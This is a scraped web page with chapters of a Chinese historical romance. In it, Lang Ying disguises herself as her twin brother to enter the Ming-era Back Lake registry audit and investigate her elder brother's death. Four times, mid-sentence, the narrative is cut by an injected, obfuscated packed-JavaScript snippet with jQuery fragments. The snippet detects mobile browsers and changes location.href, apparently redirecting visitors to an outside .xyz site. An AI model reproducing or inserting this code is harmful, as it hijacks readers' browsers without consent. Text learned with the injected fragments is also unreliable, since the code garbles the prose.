郎砚之眼泪扑簌簌落下：“茶团，你……你怎么这么糊涂？你以为搭上自己一生，拉拢陛下身边人就为你阿兄翻案吗？” 郎瑛轻轻摇头：“他们是不会帮我翻案，但可以让郎家免遭灭顶之灾，就算事发，不会牵连爹爹和二哥。” “你要干什么？”郎砚之心中有不详的预感，紧攥女儿的双手，试图将发凉的双手焐热，“不要做傻事，我们郎家人生死共赴，不可一意孤行。” “目的达成了，我将阿兄带回来了。”郎瑛瞧着远处的瓷罐挤出苦涩的笑。 “不成，决计不成。”郎砚之连连摇头，“我的女儿绝不能和宦官有任何牵扯，明日我便登门退亲。爹爹定会为你寻一门清白妥当的亲事。” “爹爹，若此时退亲，内廷之人必生怨怼。日后凡涉郎家之事，纵无风亦要起浪，只怕是徒遭刁难。结了这门亲，至少可保郎家无虞。”郎瑛强颜欢笑，“更何况，我嫁的是宦官义子，又不是宦官本人。” 郎砚之嘴巴张合，最终艰涩道：“茶团，你可知内廷掌印太监的义子裴停云为人倨傲冰冷，媚上傲下，心肠狠辣。更有传闻，他幼时已净身，算不上是个……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546736|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “算不上是个男人？”郎瑛轻声接爹爹的未完之语，冰冷的面庞在烛火的照映下起了点暖色，“爹爹，这岂非是件好事。” 无须情愫牵缠，不必生儿育女，予取予求，全是算计，干干净净。 郎砚之素知小女儿最是倔强、勇毅，这件事绝不会如她所说，将阿兄骸骨寻回便善罢甘休，再三嘱咐小丫鬟玉虹替她敷好伤口，便预备回去拟辞、备好酬金，明日一早前去退亲。 在他转身的瞬间，小女儿软了眼神问道：“爹爹，你能陪我说片刻话吗？” 父女俩在庭院中的枇杷树下坐下，小女儿口中埋怨他下手太狠，脊背火辣辣地疼，便伏在他的膝头听他说话。 “爹爹，二哥和我，一个叫龙团，一个叫茶团，为何叫这小名？读起来一点都不飒爽。” 郎砚之缓缓道：“在你俩调皮未诞生那年，陛下感念郎家先祖的功绩，御赐龙团茶。你娘便说，乳名干脆一个叫茶团，一个叫龙团罢了，喜气又有福气。” “为何阿兄没有乳名呢？” “自然是有。”郎砚之似是忆起了往昔，温和道，“你阿兄小时候比你和二哥加起来还要顽皮，你娘不堪其扰，恨不得天天提起他的脚，倒起来打屁股，我与你娘便一直唤他‘皮休’。当他做了兄长，再也不许我这么唤他了，说是丢了兄长的颜面。” 郎瑛吃吃笑起来。 “茶团，其实你该是二姐，龙团是小弟。但你母亲生产前便说，若双生子中有一胎是女儿，无论如何都该是小女儿。”郎砚之抚着小女儿的脑袋，目光慈爱，“女子拘于闺阁十几载，再深锁夫家内宅至老，多有不易。爹娘能予你的不多，只盼着予你几分宠爱，多些欢喜，再由兄长护你一生。” “爹爹给你攒的嫁妆已经准备得差不多了，明日推掉内廷的亲事后，爹爹回姑苏老家，给你觅世间对你最好的男子，让全城人看看茶团的嫁妆多气派。夫家怠慢不得你，你想出游就出游，想开铺子就开铺子，随你心意。” 月光透过枇杷叶漏在庭院，光影在随风移动，轻轻摇动着郎瑛的心扉。 郎瑛原本伏在膝头的脸深埋进爹爹怀中，声音嗡软却清晰：“女儿不愿出嫁，这十数年很开心，能做你们的女儿，兄长们的妹妹，是我的福气。” “好，只要你想好不嫁，那便不嫁。你阿兄……虽不在，但爹和二哥会护你周全。”郎砚之扳正小女儿的脸道，“茶团不要有任何忧虑，你的人生尽是欢喜。” 郎瑛登上二层绣楼，俯瞰爹爹枯坐在母亲亲手所植枇杷树下。 最终，身躯缓缓佝偻下去，俯首痛哭，无声无息。 * 翌日星辰未散、初阳未升。 郎瑛留下一封书信、一张玉虹的赎身契，束发，裹胸，戴上青布裹头，怀中塞好牙牌，腰间配上册囊，脚踩布鞋，趁着浓雾未消，钻入雾中，隐身匿迹。 一打更人叫住模糊不清的人影。 “何人？” “郎家二郎。” 打更人走上前，上下打量，的确是郎家二公子郎初。 “二公子这么早去哪里啊？” “陛下诏令，去后湖，驳黄册。” 4. 锅之大 初阳映雪。 这是爹娘曾经为未出世双生子取名的出处，一人名曰“郎初”，一人名曰“郎英”。 待郎瑛大了些，闹着改名叫“穆桂英”，郎砚之囧着脸说：“茶团，爹爹太没用了，从小就姓郎，不姓穆。” 小郎瑛拳头支着下巴，沉思：“那我就叫郎桂英吧。” 二哥郎初翻出厚厚一沓族谱，指着曾曾太爷说：“重名了。” 此后两日，郎砚之被小郎瑛抱着双腿闹改名，烦得心慌，将眯着笑眼喝药的二儿子推出来：“龙团，改名可是影响一辈子的大事，你曾经和茶团在娘亲肚子里抱着十个月，算是一体同心，你来决定妹妹要不要改名。” 私下里，郎砚之偷偷对二儿子说：“这可是你娘亲当年定的名字，你知道这个分量吧？！要不要爹爹再帮你添个玩偶？” 接下来一整天，郎初扣着鼻子，仰着小脑袋想半天，任由妹妹抱着他脑袋揉成草人。 “茶团，你说穆桂英是不是女中王者？” 小郎瑛点头。 “你想不想成为比她还厉害的豪杰？” 小郎瑛猛点头。 “那你就叫郎瑛。” 二哥郎初拉过她的手，在她的手心一笔一划写着：“你看在你的英字旁边再加个王。英雄中的大王，是不是很厉害！” 小郎瑛嘟嘴：“我要叫桂英！” 二哥在她手心揉搓，像是要擦掉刚才的字迹：“这么好的名字都不要啊，那我以后就叫郎瑛，你叫郎初。这下子，你与穆桂英的名字更加八竿子打不着。” 小郎瑛急的蹦跶：“你不要和我抢名字，我才不要你的名字，我就叫郎瑛。” * “郎初——” “在。” 太平门外，后湖检阅堂下，近二百名监生于阶下，模样肃然，户部主事清亮的点名之声与监生应答此起彼伏。 “王韫章——” 语毕，未有人应答，空气一凝，户部主事眉头一蹙，声音提高一度，再次喊名。 空气回以寂静。 户部主事面色不霁，驳查黄册兹事体大，事关江山社稷、万千庶民，监生作为天子门生居然浑然不放心上，真不知道是无知者无畏，还是猫有九条命。念及此，主事不由得将目光落在郎瑛身上，轻轻摇了摇头。 “在——” “在————” 随着太阳刺破晨霭，撕心裂肺的应答声在众人耳边凄婉响起。 声音喘得支离破碎，直至众人看到一只会说人话的乌龟在晨曦中踉跄得东歪西跑。 户部主事抻着脖子看清了一名监生背着硕大的铁锅，左手提刀，右手握勺。 众人齐齐倒吸一口气。 脚步撑到了堂下，这个监生用炒勺安抚自己的心口，腿软坐地，没成想背后铁锅重量不轻，顿时人仰马翻，圆鼓鼓的锅底在地打转，连带着人旋得不知天地为何物。 监生们伪装严肃的表情破开，纷纷大笑出声。 户部主事也忍不住发笑，旋又绷住脸，威严问道：“你何人？” “哎呦……哎呦……”监生滴溜溜转着，头晕目眩，脸色涨成猪肝色，“禀大人，在下正是王韫章。大人……救救……” 户部主事没眼看，背过身去，挥了挥袖子。 郎瑛离得王韫章近，便与另一名监生将他扶起。 王韫章将手中的炒勺、菜刀小心放地，对着帮他二人作揖：“多谢二位兄台。” 郎瑛与另名监生同样回礼。 王韫章行礼完毕，抬首见着郎瑛，眼里一亮，脱口而出：“清汤燕菜！”再看另一监生，叹息：“烧饼塞俩芝麻。” 办事吏靠近户部主事：“大人，船只已备妥。” 户部主事手掌按下监生们交头接耳声，说道：“入后湖。” 监生们鱼贯而入检阅堂，穿堂后于码头排队检查。 郎瑛巡视四境，抬头看，东北方向有两根铁力木杆高高耸立，分别挂着玄底“刑”朱字、朱底“察”白字两幅日间旗，杆身挂九枚铜制惊鸟铃，迎风嗡鸣阵阵，瞩目威严。 三法司的旗杆私下里被称作“丈天尺”，宵小魍魉无所隐匿，谚语道：“宁见阴间幡，莫望刑察杆”。这里离三法司仅隔一条太平堤，后湖若出事，瞬息可至，天家威严，近在咫尺。 沿着督查院方向一路蜿蜒至神策门城墙，每百步置一墩重的后湖界石。城墙每五十步便设一警所警备，另有城东、城北兵马指挥司各差官员一名，率同弓箭手、军士及兵丁沿湖巡查。 湖水淼淼，抬首眺望，湖中岛屿孤绝若仙山，曾经的皇家园林，及至本朝已围成了全大明最神秘、人迹罕至的皇家禁地。 监生们好奇地扭着脖子东张西望，暗叹果然是皇家禁地，风景秀丽非比寻常，得此一观已是莫大殊荣。 沈阳左卫牧马千户所的千户带着兵卒，早已站在码头口，双脚叉开，一手按刀，一手叉腰，气势如虹，吓得监生们离他们十步之遥，莫敢趋近。 千户见到从人群中走出的户部主事，上前行礼：“大人，本次登岛的就是这些监生？” 户部主事颔首，递过监生名册指点着：“陛下下诏拨的监生共二百名，还有一人，昨日已先行登岛。” 千户接过名册交给身后兵卒，手掌一拍刀鞘，大声说道：“每一物入内，必遭数度检验，除衣物、笔砚，一律禁止夹带，违者仗二十。若有人敢将火种带入黄册库，重罚不怠。” 一兵卒唱名，另十名兵卒一字排开，等候监生上前检查。 兵卒们见着监生们拖家带口背着巨大的包袱，便大力薅下，掷地，粗鲁地翻搅，大部分物品被投向身后的空地上。 不一会儿，一个个小山堆越发地壮观。 兵卒们推着监生搜身，揉捻如烙饼，末了再心满意足地厚掌一拍，仿若贴饼于草炉壁上，监生踉跄着通过检验。 监生们摸胳膊、按脖颈抱怨声不绝于耳。 郎瑛双手握拳，她虽轻装上阵未，但毕竟女儿身，看到监生们被浑身拍打检查，忐忑自己的伪装能否逃脱搜查，她不想未查明真相便折戟。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546737|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢吞吞走在后面，恨不得将自己化成一滴水，流入后湖，身后的王韫章拖着重重的步伐，一步三叹气。 “那谁——你在干什么！”千户指着郎瑛的方向厉声发问。 郎瑛身体一僵，手指甲陷入掌心，刺得自己头脑清醒，稳定表情准备回话时，王韫章暗骂一声小碎步略过她向着千户跑去。 “厨子？”千户敲打王韫章的“龟壳”。 王韫章将手中的炒勺、菜刀嚯嚯磨响，龇牙笑：“癖好。” 千户围着他的家伙事转了一圈：“别人都是带吃食、细软、逗趣的东西，你倒是有趣。” “我的锅铲刀，它们既是能做吃食、也能当细软、也是我逗趣的东西。”王韫章说道，“锅是山西洪洞老鸹窝的袁匠人锻造，刀是太平府芜湖县张匠人嵌钢打造，铲是我自小家用惯的，每天睡前不摸一遍，寝食难安。” 千户热烈笑着吸一口气，再推出一拳砸在他的锅底，极沉闷的嗡声后，王韫章正面扑地。 “君子远庖厨，不思进取为国分忧，而天天钻营肴馔，愧对粮米供奉。”千户吩咐左右，“砸了他的山西锅、芜湖刀和铲，将他包裹里的粮米杂物丢进湖中，以此为诫。” 左右立即上前将他押起，卸了他的厨具，满脸泥灰的王韫章惊恐万分，用身体护住锅铲、包裹，眼中含泪：“民以食为天，监生受万民滋养，如何不能钻研民之味。” 千户拔出刀，斥左右按着他远离厨具，自己走上前，举起明晃晃的刀准备劈下。 突感一阵力道袭来，郎瑛被身后人冲撞着即将碰上刀刃。 “啪——”的一声，一柄木如意横亘在刀下被劈两半，刀风裹挟着沉香味刮过郎瑛的鼻腔，郎瑛的后脖颈被一只手死死钳住。 只差三寸，她的脖子便有一个碗口大的疤。 千户生生收了力，看向冲出来阻挡的两名监生，恼羞成怒：“活腻了！” “我的沉香木如意。”浑身金饰闪闪，面色却黢黑的监生松开箍在郎瑛脖颈的手，转而朝着千户一摊，“二十两白银，你赔我。” 千户上前一步，捏着监生的肩膀，暗中使力推他滚地，没成想不动如山。 监生反倒将千户搭在肩膀上的手掌钳起来。 “不可生龃龉。”户部主事官员上前扯开二人，将黑面监生、郎瑛护在身后，对千户道：“大人，您刚才诸种做法是否欠妥？士人体格怎堪受蛮力、又怎能受屈辱。” 楼船上、码头边的监生们都大声职责，声讨的浪潮此起彼伏。 千户指挥兵卒抽出刀来：“吾等的职责，便是维护后湖安宁，其余一概不论。若再有人顶撞，别怪刀锋无情，步监生郎瞻的后尘！” 听及阿兄的名字，自持冷静的郎瑛拳头紧握。 “收手——” 后方忽传来一声温朗的喝止。 众人循声望去，只见一道身影徐步而来，语气平和却自带威仪。 户部主事如见救星，急趋前行礼：“侍郎大人。” 郎瑛回望，恰好对上身着绯色官袍赵世衡的双眸。 5. 既来之 赵世衡眸光在纠缠中的四人身上一扫，最终落定在千户的刀上，面色沉沉，一言未发。 户部主事甚少见到赵侍郎这等严肃模样，急着缓和气氛，忙将郎瑛和黑面监生引来：“这是户部侍郎赵世衡大人，即日起，后湖黄册驳查事宜由赵大人统领，快来拜见。” 赵世衡抬手栏住了两名监生欲拜见的动作，负手而立。 “见过赵侍郎。”千户闻此，眉头微皱，两步上前，抱拳：“不知赵侍郎适才那句‘休得放肆’是否意指在下？沈阳左卫牧马千户所既领命保障后湖安危，便依律而行，未有放肆举止。” 虽受了他的礼，但赵世衡面色仍不霁，缓步跺到扣在地面的山西锅边，食指弯曲，指骨在锅底敲了两敲：“你听到了什么？” 千户不明所以，不服气地回禀：“回大人话，再寻常不过的锅釜声。” “也罢，沈阳左卫的吃食供给皆由膳夫烹制，难为你只记得吃，不记餐食来处。”赵世衡起身，忽略千户隐忍的恨意，“那我给你说明白点，你仔细回禀。” 赵世衡问道：“我朝与前朝比，粮食孰多孰寡？” 千户不假思索：“自然本朝。” “好。”赵世衡继续说道，“仅以税粮而言，洪武二十六年，夏税，米麦四百七十一万七千馀石；秋粮，米二千四百七十二万九千馀石。及至而今，天下税粮三千馀万石，府县粮仓粮米堆积。[1]孰多孰寡？” “自然是如今。” “当初太祖皇帝曾告诫户部，以孔圣人言‘百姓足，君孰与不足？百姓不足，君孰与足？’为本心。”赵世衡话锋一转，“粮米为国本，你为何要扬言丢入湖中？” 突入其来的一顶大帽，压得千户慌了神色，嘴巴愚钝无法自证清白，吞咽着口水，躬身行礼：“我……我……并无此意，只是想劝导监生用心读书。” “再者，刚才兵卒对监生的拍打未免重了些，若是上岛后，有人因此误了驳查，该唯你是问，还是我将沈阳左卫此等行为上书朝廷？” 千户腿肚微颤，脊背压得更弯：“是……我的错……赵大人责备的是。” 楼船上的监生齐欢呼，好不热闹，震得远处荷花丛中白鹅扑翅低飞。 郎瑛一瞬不瞬地看着赵世衡的背影，似乎比往日清癯了些。 感觉到气氛有一丝缓和，户部主事立刻将千户扶起：“侍郎大人很少教导，你有幸是第一个，这可是旁人求也求不得的好运气。” 千户眼珠瞟向户部主事，闷着声：“叩谢侍郎。” “对对对……这事儿就翻篇了。”户部主事乐呵呵的感受到气氛再度恢复正常，心中甚慰。 千户吩咐左右：“最后三名监生的搜查，不得粗鲁无礼。” “是！”左右回应。 赵世衡再次发话：“我来。” 千户失语：“……” 户部主事疑惑：“赵大人，您的意思是？” 赵世衡转身与郎瑛的视线交接，清晰地说道：“这三名监生由我亲自搜身，若他们有问题，我一力承担。” “赵大人，先搜我！”黑面监生酣畅笑着作揖，“在下监生粟满楼，拜见赵大人。” 在旁转哭为笑的王韫章与郎瑛一齐向赵世衡作揖，并报上姓名。 赵世衡颔首，对着粟满楼、王韫章上下轻拍，确认无误后，放他们通行。 王韫章不肯上船，提着厨具可怜巴巴地瞧着赵世衡，泪光点点。 赵世衡瞥见楼船旁，还有一艘胥役使用的平船，由于增加二百名监生驳查，因此国子监今日拨了五个膳夫入后湖，便交待膳长在驳查结束前，膳房好生善待监生厨具。 王韫章见着自己的厨具好歹也是跟他一同入了后湖，有的是机会早晚摸一摸，心满意足地登船。 郎瑛见着王韫章小孩子气的模样，恍然回忆起阿兄初次离家求学时也是这个表情，看着她和二哥泪眼婆娑，摇着哭湿的帕子：“睡觉不许掀被子。不会的功课，阿兄回来教你们。” 郎瑛回过神时，绯色官袍已走近自己，猝不及防间有些意乱，只得偏过头随意看向某一个点。 “君子站如青山，立毋跛、目容端。” 脸颊被一双微凉的双手轻轻托住，温柔的引导她对视，郎瑛脑海中浮现昨日对他的恳求：“赵侍郎，你得帮我，庇护我二哥后湖通行、驳查皆畅。” 他的确履行了承诺，如约前来，无形中帮她化解入后湖前的最大阻碍，但此刻心中的愧疚却翻山倒海袭来，他显然不知面前的“郎初”是小女子假扮，若一旦暴露身份，赵世衡也难逃干系，他后半辈子的安稳便被她亲手毁了。 “龙团，后湖没有妖怪，别怕。”赵世衡压低嗓音，双手轻拍她的双肩、脊背、腿足，郎瑛紧张的身体逐渐放松。 “既来之，则安之，我不会让你出事的。” 只容二人听见的话语落入郎瑛耳中，柔和地滑入心脏，连带着心脏也跳得快了些。 那只手拍了拍她的肩膀，温和道：“去吧。我随后同给事中、御史、主事乘另一艘楼船上岛。” 郎瑛仿着往日二哥与赵世衡的语气说道：“谢大哥哥。”便转身登船。 * 远方，几座繁花绿叶的湖岛毗邻，却又互不相连。 水夫吆喝两声，便一齐使劲，撑驾船只向着荡漾烟波深入划去，四周青山远近层叠如帏，鸡鸣寺的晨钟悠扬，合着菡萏香气，向着其中的一座湖岛——祖洲悠哉缓行而去。 脱离了国子监、户部官吏的约束，楼船上血气方刚的监生们叽叽喳喳热聊。 二百名监生为国子监随机拨来，面生者多，纷纷互换表字寒暄。 不少监生皆对站在船头眺望的郎瑛打量，风姿出尘，非富贵乡不可出此人物，于是上前自报家门，却纷纷被郎瑛的淡漠劝退。 原本仰慕结交的打量眼神多了丝酸溜溜的幽怨。 “自恃甚高，必有苦吃。”某监生冷哼。 “南朝西百八西西，多少楼台烟雨宗。” 蹩脚的口音，奇怪的语调，吸引郎瑛寻着声音看去，一照面，正巧是一同扶起王韫章的监生。 这个监生脸型瘦削，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546738|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽小，但单眼皮眼尾上扬却显得很精神，手里揣个小簿子，毛笔在舌尖轻蘸便刷刷记着，从登船起，便一直兴奋地在船头船尾转圈溜达，嘴里“哦莫哦莫”的感叹着。 “吔？”王韫章锁定这个监生和郎瑛，也凑过来，笑道，“又遇见两位兄台了。在下王韫章，字琼林，浙江绍兴府诸暨县人。幸会幸会。” 见着他热情，郎瑛便也自报家门：“在下郎初，字怀序，直隶苏州府昆山县人。” 待郎瑛说完，瘦脸的监生张口欲言，但又似心口难开，低头吮了一下毛笔，在簿子上认真写起来，不一会儿举给二人看 【在下金桂，字叔浩，半月前刚从朝鲜来到上朝】 郎瑛和王韫章挨着看字迹时，又有一个脑袋从中进来，嬉笑道：“上了船，总听见一个声音怪异，本以为是自己耳朵漏风，原来是远道客嘴巴漏风啊哈哈哈……” 三人看向这个硬要来的不速之客，在晨光的照映下，只觉得眼前一阵金光四射，浑身富贵、浮夸至极，听声音，郎瑛认得是英勇而出的黑面监生粟满楼。 王韫章脸色一变捂住粟满楼的嘴，低声劝道：“嘘……听说朝鲜人极擅长巫蛊、占卜、摸骨，小心他不高兴，私下作法整治你。” “真的？”粟满楼脸上浮现喜色，对着朝鲜夷生金桂说道，“你给我算算我的命格。” 金桂白了眼粟满楼，转过身在簿子上写了字，撕下来赠他。 粟满楼接过一看，是斗大的“凶”，折了几折，扔进后湖：“兄台今日还真得替我测一次。” 凶字在湖水中翻涌两下，便支离破碎，裂成齑粉，随水流消散。 金桂装作没听见，嘴巴无声动了几下，不用想肯定是啐粟满楼的坏话。 * 楼船靠岸，监生们刚踏上湖水环绕、与世隔绝的祖洲，却被等候的户部主事告知还有一重检查。 码头口小吏低头说道：“各位请正常下船，只不过请慢行，在下是后湖嗅卒，专查夹带火石、火药这类禁品。” 小吏低眉顺眼，身体微拱，鼻翼在监生经过时，轻轻细嗅，最终抱拳对户部主事回禀一切正常，可放行上岛。 岛上的户部主事及三名小吏领着二百监生走入黄册库附近，珠算的噼啪声震天。 分枝拂柳，视野豁然开朗，一百余间东西朝向黄册库库房鳞次栉比，库房前后各开了一扇大窗通风。 由东朝西走动，珠算声越来越响，忽急忽缓，不闻人声。 监生们走至最西头的空库房，发现监生们木然地播着算盘，照着册页上的数字核查，听闻有脚步声，置若罔闻，埋头苦干，汗水滴答湿透发髻，纷纷顾不上擦，只是将额头在肩头蹭蹭算了，两肩浮了曾白色盐霜。 太阳此时已火辣辣上移，原本在楼船上尚可感觉微风凉意，如今落了地见此场景才觉“炙热”二字便是“水深火热”。 库房内暑气蒸腾，仿若看到一团热气氤氲在天上，二百监生见此场景面面相觑，感觉自己的魂魄也虚虚浮浮地在屋顶飘荡。 现在跳湖逃跑，还来及吗？ 6. 大舅哥 库房上首的位置，坐着吊着八字眉的官吏，薄薄的嘴唇抿成一线，警惕地看着下首的驳查现状，感觉有人来，起身与领着二百监生的户部主事交谈：“绮正，赵侍郎等大人来了吗？” 户部主事点头：“他们与新进湖的监生分乘两船，稍后上岛。我来库房，一是带监生前来熟悉情况，二是与你一同前去，和各位大人商讨后续驳查事宜。” 二人事不宜迟，带着二百名监生浩浩荡荡前往点卯厅。 * 点卯厅中，赵世衡以及户科给事中、御史、户部主事等八人已齐坐定，低声轻谈。 二百监生齐齐站在厅外，注视着厅内的官场客套往来，等候差遣。 不一会儿，赵世衡领着其余七位官吏出厅，瞧着日头越发烈了，启唇道：“苦夏炎炎，赵某亦不愿各位受此苦熬，但驳查黄册不容丝毫疏忽，该说的我还是要和大家说透，谨记于心。” 赵世衡走下台阶，融进烈日的照射中，声音清亮，掷地有声：“三月，直隶府、州、县并十三布政司黄册约六万本已抵京，而近年，民间常有奸猾之徒，或隐匿田产，或虚报丁口，欺瞒官府，逃避税负，致使朝廷岁入流失，陛下此次将你们拨来便是对你们寄予厚望，详加驳查，揪出隐藏事产，整肃风气。” “各位是天子门生，未来仕途畅达，本官盼望以后与诸位携手并进，本次若有佼佼者，本官愿为其引荐一二。驳查拟于中秋完毕，望各位以陛下之心为心，以天下人之命为命，一旦发现欺瞒之情，立刻上报，不容有疏。”赵世衡眼风一扫，目中含有雷霆色，“若有藏匿、隐瞒、篡改等行径，法理无情，其后果望自知。” 厅下监生们领命齐声道：“在下谨记。” 赵世衡颔首，又恢复温和姿态，对着厅上的其余七人一一介绍：“厅上的七位大人，分别是户科给事中徐彩和大人，御史冯春普大人、御史陈愿大人，广西司户部主事分别是段绮正大人、石浪大人、季逢春大人、李伦大人。” 七人纷纷向厅下监生们拱手示意。 监生们也躬身回礼。 户部主事段绮正走下厅来，笑呵呵地说道：“由我来给各位交代在后湖驳查的作息，每日卯时，鸡鸣寺晨钟敲响，需至此处点卯，再至膳房早食。辰时至巳时入库驳查。午时至膳房午食。未时至申时入库驳查、复核。酉时晚食、回号舍。诸位明白？” 监生恭敬回应。 王蕴章低笑：“好极了，鸡鸣我起，日落我休，不用温习功课，我能盘两个时辰锅勺。” 散发着老好人气质的段绮正忽然想起什么，补充道：“祖洲与龙引洲洲间搭桥，每三日国子监博士晚间在龙引洲授课，勿忘勿忘啊！” 王蕴章跳动的心死了：“为什么……还要学功课。” 段绮正手指敲了王蕴章的脑袋：“好了，后湖的个中事项，时间久了，自会清楚。现下，各位跟着小吏去自己的号舍休息，午食完毕留守号舍，不得随意走动。晚间膳食用毕后，好生休息，明日开始驳查。” 监生们急不可待地领命，恨不得插翅飞到号舍，扑倒在床榻，松散筋骨，小憩一番。 郎瑛无心去什么号舍，只想扒着每间驳查库房，细寻阿兄的故友，打听一二，拼凑真相。 发愣间，她的胳膊被粟满楼勾着，推脱不得，只得踉跄着跟着走：“兄台何意？” 粟满楼油嘴滑舌：“自然看上你了，拐走。” 郎瑛从未与男子如此不着调地勾搭着，心里一焦急，皮肤红艳艳。 “哎呦！中暑了！！”王蕴章手挨着她额头。 “我……我不是……放开……”郎瑛百口莫辩。 “怀序兄休得客气，若是过意不去，日后可帮我做些功课。” 郎瑛手臂的另一侧又被王蕴章勾着，如此便被二人齐齐架着，飞也似的催着小吏引去号舍。 * “嘭——” 号舍被大力推开，撞得门扉猛烈摆动。 惊得屋内人“哎呦”一声痛呼，原是一名监生背对着他们钻在床底摸索着，突如其来的声响，吓得他弹起又被床框痛击。 揉着酸溜溜的脖颈从床底退出来，监生手臂微微颤抖，看到有三人风一阵齐摔进床榻，喘息未定。 夹在中间的郎瑛左敲右推，勉强脱离束缚，起身对监生行礼，抬头看到面前是一个头发有丝花白的老监生。 床榻上的二人挣扎着起身，看到老监生微愣，但随即规矩地对老前辈行礼，自报家门。 老监生并不回礼，对刚才他们一惊一乍的行为颇为不满，敷衍道：“在下陶文谦，字恭远。” 小吏站在门口，拿着名簿道：“粟满楼，你不是这个号舍，随我走罢。” 粟满楼闻言复又躺下，以手支头，抬眼打量：“就这间了，烦请协商调换。” 小吏有些恼怒：“号舍已定，岂容你随意更改。” 粟满楼“啧”一声，站起走至小吏身边，悄悄塞了粒金豆子，勾着他走出了号舍，嘀嘀咕咕走远了：“换号房而已，又不是换亲娘，哪儿那么难呢……” 等他再度回来，便是手揣袖，心满意足的模样，打量着号舍内的六张床：“还差两人。” 话音未落，“哦莫”之声在众人身后响起，朝鲜夷生金桂绕开粟满楼小跑至郎瑛和王蕴章那里，又拿出小簿子写着“再度相逢，喜不自胜”等句。 “你还嫌弃我，我还嫌你给我写‘凶’字晦气呢。”粟满楼嘀嘀咕咕地又走至郎瑛、王蕴章中间。 王蕴章不满地推了推他的脑袋，奈何粟满楼嘴里说着“我对你有救命之恩”，便顺利地将脑袋塞了进去，看金桂写的字。 号舍中最后一个床榻的主人，直至晚间用饭时，仍未现身。 * 后湖严禁烟火，原先膳房离库房一里远，经年累月，黄册库房越建越多，渐渐两者挨得越来越近。 十年前驳查完毕后，陛下发道诏令，由工部在祖洲、引龙洲间搭桥，并在引龙洲上建造膳房、公署。 日落时分，黄册库房经过再三查验后关闭，所有监生依次走出库房，有条不紊地过桥至引龙洲的膳房。 膳房容量有限，一次只能容纳约三百人就餐，膳长提醒新来的监生们由于一个时辰内四拨监生用餐，因此每轮用餐时限为一刻。 新来的二百名监生连同刚驳查完的监生，为用餐的第一拨。 刚从库房出来，所有人行尸走肉般眯着双眼、仰着脑袋，眼角渗出了些许晶莹的泪水，不多时，空气中瞬间弥漫着酸臭汗味。 郎瑛仔细盯着入场的一百名驳查黄册监生，一一辨认是否有熟面孔，直至最后一名监生落座，只能缓缓叹气。 身旁，粟满楼、王蕴章的叹气声更加深沉。 他们对着面前的餐食，实在无法打起精神品尝一二。 一碗糙米，清炖茄子、拌豆腐、咸萝卜干。 一人是日常吃惯了山珍美食，如今对着粗茶淡饭，心中郁郁难平；一人是天天摸惯了自己出具，冷不丁摸不着，备觉孤独寂寞冷。 五十名膳夫低眉顺眼地分餐完毕，便老老实实龟缩在一角。 监生们东西落座，正式进食前，一起传唱：“食不语，坐必安。” 接着，才能低头默默进食，现场异常寂静，无人言语，只听闻碗筷接触的响声。 全场唯有一人吃得分外有滋味，隐约有“哦莫哦莫”的感叹。 郎瑛勉强吃完饭食，仍余了些咸菜。 忽的，感受一道炽热的视线，郎瑛抬头，夷生金桂眼神示意咸菜，郎瑛了然，预备将咸菜推过去的瞬间，瓷碟被粟满楼拦下。 粟满楼挑眉，眼神示意：先过我这关。 金桂嘴角一撇，眼神回击：又不吃你咸菜。 粟满楼将自己的咸菜以及王蕴章将要夹筷的咸菜，统统推到一起，眼神挑衅：这些够不够？ 金桂瘪嘴，眼神向下飘忽，不情愿点头。 粟满楼奸笑，手指做出算卦的动作，眼神锁定：帮我们算卦。 长叹一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546739|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气，金桂长臂一揽，回以白眼：统统笑纳。 饭妥后，众人正襟危坐，双手覆上膝盖，静等膳夫将所有碗筷收走后，再一桌桌离开膳房。 回号房的路上，人群涌动，郎瑛与第二拨用餐的监生擦肩，仍一无所获，只能寄希望接下来的日子能够觅得一丝线索。后湖巡查严密，规矩森严，若无丝毫进展，只能请求赵世衡能够帮扶一二。 